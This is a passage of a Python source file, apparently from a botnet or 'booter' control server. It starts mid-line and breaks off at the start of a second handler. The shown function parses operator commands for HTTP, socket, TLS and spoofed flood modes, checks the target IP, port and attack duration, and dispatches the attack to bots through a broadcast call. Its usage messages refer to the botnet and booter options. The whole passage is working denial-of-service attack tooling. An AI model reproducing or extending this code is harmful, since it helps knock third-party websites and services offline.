(args,mode, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)
| 2 | import random |
| 3 | |
| 4 | def http_flooding_sent1(args,mode, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 5 | mode_type = mode.split('.') |
| 6 | mode_type = mode_type[1].lower() |
| 7 | num_check_len_command = 0 |
| 8 | if mode_type == "cfb_sock" or mode_type == "http_sock": |
| 9 | num_check_len_command = 9 |
| 10 | elif mode_type == "http": |
| 11 | num_check_len_command = 8 |
| 12 | elif mode_type == "pyf" or mode_type == "tls_small": |
| 13 | num_check_len_command = 6 |
| 14 | if len(args) == int(num_check_len_command): |
| 15 | ip = args[1] |
| 16 | port = args[2] |
| 17 | secs = args[3] |
| 18 | if validate_port(port): |
| 19 | if validate_time(secs): |
| 20 | send(client, ansi_clear, False) |
| 21 | attack_sent1(ip, port, secs, client) |
| 22 | broadcast(data) |
| 23 | else: |
| 24 | send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)') |
| 25 | else: |
| 26 | send(client, Fore.RED + 'Invalid port number (1-65535)') |
| 27 | else: |
| 28 | if mode_type == "cfb_sock": |
| 29 | send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [MODE_SENT] [VPH] [MODE] [BOOTER]') |
| 30 | send(client, "[MODE_SENT] <-- PYF NULL SPOOF HTTP PPS") |
| 31 | send(client, "[MODE] <-- OLD NEW") |
| 32 | send(client, "[VPH] <-- VERSION PROTOCOL HTTP (0.9 1.0 1.1 2.0 3.0)") |
| 33 | send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER') |
| 34 | send(client, "# NOTE if you enter / end in url | botnet can't attack ") |
| 35 | elif mode_type == "http": |
| 36 | send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [MODE_SENT] [VPH] [BOOTER]') |
| 37 | send(client, "[MODE_SENT] <-- PYF NULL SPOOF HTTP PPS") |
| 38 | send(client, "[VPH] <-- VERSION PROTOCOL HTTP (0.9 1.0 1.1 2.0 3.0)") |
| 39 | send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER') |
| 40 | send(client, "# NOTE if you enter / end in url | botnet can't attack ") |
| 41 | elif mode_type == "pyf" or mode_type == 'tls_small': |
| 42 | send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [BOOTER]') |
| 43 | send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER') |
| 44 | send(client, "# NOTE if you enter / end in url | botnet can't attack ") |
| 45 | |
| 46 | def all_sent1(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 47 | mode_type = mode.split('.') |
no test coverage detected